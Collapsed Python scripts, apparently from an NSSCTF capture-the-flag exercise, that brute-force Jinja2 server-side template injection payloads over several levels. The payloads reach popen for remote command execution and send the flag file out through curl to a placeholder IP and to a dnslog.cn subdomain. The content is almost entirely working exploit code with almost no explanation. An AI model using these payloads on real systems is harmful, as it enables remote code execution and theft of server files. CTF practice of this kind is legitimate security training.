headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'} for i in range(500): url = "http://node2.anna.nssctf.cn:28610/level/1" data={"code":'{{''.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'} res = requests.post(url=url,data=data, headers=headers) #print(res.text) if 'os._wrap_close' in res.text: //此时os._wrap_close是我们需要利用的子类,若是需要换其他的子类只需要把这个os._wrap_close替换即可 print(i)
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'} for i in range(500): try: url = "http://node2.anna.nssctf.cn:28875/level/2" data={"code":'{%print({}.__class__.__bases__[0].__subclasses__()['+str(i)+'])%}'} res = requests.post(url=url,data=data, headers=headers) #print(res.text) if 'os._wrap_close' in res.text: print(i) except: pass
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'} for i in range(500): try: url = "http://xxx.xxx.xxx.xxxx:5000/level/3" data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://IP:port/`cat ../app/flag`").read()}}'} res = requests.post(url=url,data=data, headers=headers)
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'} for i in range(500): try: url = "http://node1.anna.nssctf.cn:28891/level/3" data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://`cat flag`.pnc4k5.dnslog.cn").read()}}'} res = requests.post(url=url,data=data, headers=headers) #print(res.text) if 'correct' in res.text: print(i)
headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'} for i in range(500): try: url = "http://node3.anna.nssctf.cn:28291/level/4" data={"code":'{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__('+str(i)+').__init__.__globals__.__getitem__("popen")("cat ../app/flag").read()}}'} res = requests.post(url=url,data=data, headers=headers) if 'Hello' in res.text: print(res.text)